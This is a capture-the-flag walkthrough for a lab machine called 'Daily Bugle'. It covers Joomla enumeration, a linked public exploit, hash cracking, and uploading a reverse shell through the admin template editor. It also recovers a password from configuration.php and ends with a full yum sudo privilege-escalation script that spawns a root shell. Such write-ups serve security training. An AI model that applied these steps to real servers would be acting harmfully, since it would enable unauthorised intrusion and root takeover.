# Daily Bugle

## User Flag

As usual let's start with port scanning.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkIhtTVrZ1IWAsOZt2%2Fimage.png?alt=media\&token=598f2d99-04b1-4225-99b6-912b6d545a8f)

We see there are three open ports **(22, 80, 3306)**. Let's head to port 80.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkInRt2vHilpzo9azq%2Fimage.png?alt=media\&token=d79ee519-890d-4d5a-92d9-f1fed8f3e838)

We see there's a simple website that uses joomla. Let's check the robots.txt and see if we find something interesting.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkIrCi3ldMnswmV6_T%2Fimage.png?alt=media\&token=48ea61ac-9a41-4890-a486-a6983c1940d7)

Nothing interesting at the moment. We can use dirseach to see if there's something hidden.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkJDq76e7tybmuxRld%2Fimage.png?alt=media\&token=b11a20cc-3825-4642-a008-b22093048732)

Checking the README.txt file we find the joomla version.&#x20;

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkJJqMapDCmNh8v4wG%2Fimage.png?alt=media\&token=fb83b4e7-f3d9-4423-ac8e-1bef4f45051a)

Let's check if there's any known exploit.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkJTZLxNQsylB3zCc_%2Fimage.png?alt=media\&token=8cb9d375-70d9-4387-9f7a-1620fccb0ba2)

After a while looking for the right exploit we decided to use this one:

{% embed url="<https://github.com/NinjaJc01/joomblah-3>" %}

After running the exploit with get some credentials.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkLRJdFjM-a0cKU8sg%2Fimage.png?alt=media\&token=fda7ae74-1363-4ee8-9a18-cf6fed4d07a1)

We can use hashcat to crack the hash we found.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkMGP4oWTez-hPnj85%2Fimage.png?alt=media\&token=0b2dbc6b-add0-4a57-962f-9efeb2f45cc6)

After that we can try to login to the admin site.&#x20;

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkMpp69f18Dk5j4fiM%2Fimage.png?alt=media\&token=3af2e839-eefe-4704-b430-4727f7cd54cb)

Once inside the joomla administration page we can sucessfully upload a reverse shell and get over the victim machine. We can do that following these steps:

**Templates > Templates > Protostar Details and Files**

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkNDddorTwGr4u8-Cs%2Fimage.png?alt=media\&token=581c7c0e-c6db-449b-a8f6-41006a3470fe)

Now we can edit the index.php file and add our reverse shell.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkPNzTzStAkpPPYKIj%2Fimage.png?alt=media\&token=15b81ce0-1f89-40ca-9f90-7982b0013def)

After saving the file we just have to refresh the site. Don't forget to start a listener.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkPXr8I8MxpxFLmxeP%2Fimage.png?alt=media\&token=fbcb4170-db47-415a-bac3-b993970dfc1b)

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkPburG0APWo3r-wCk%2Fimage.png?alt=media\&token=54c6880d-4b66-487f-adce-53bfe27d6681)

We're inside. Let's see if we can get the flag.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkQsr6bf-yeI46etw-%2Fimage.png?alt=media\&token=8178beb8-788d-4539-af71-62adc74cc1d4)

No luck. If we take a look around the machine we see there's a configuration.php file in /var/www/html. If you read it you'll find a password.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkQjxUPXKJei69S40d%2Fimage.png?alt=media\&token=b25ff60d-c6d2-4946-8fd3-550808346311)

We can se the found password to log in with jjameson and grab the flag.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkRBJzLUw7c3GVwM-f%2Fimage.png?alt=media\&token=c0d8c9b9-3f67-44a7-8760-79c04e825848)

## Root Flag

Let's run  **sudo -l** to see if we have sudo perms.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkRH-xpOjR8bezsaei%2Fimage.png?alt=media\&token=58da8ce0-39fa-45ab-9447-e73e2c4a8262)

We can run yum as a privileged user. Taking a look at gtfobins.github.io we can gain root privilege following these steps:

```
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y
```

Let's do that and grab the flag.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MgkH8_Lomdkg1w8yU-O%2F-MgkRx1xejGxcCRH4eBG%2Fimage.png?alt=media\&token=e4403d85-efa2-4cf6-ae81-6572982629e8)
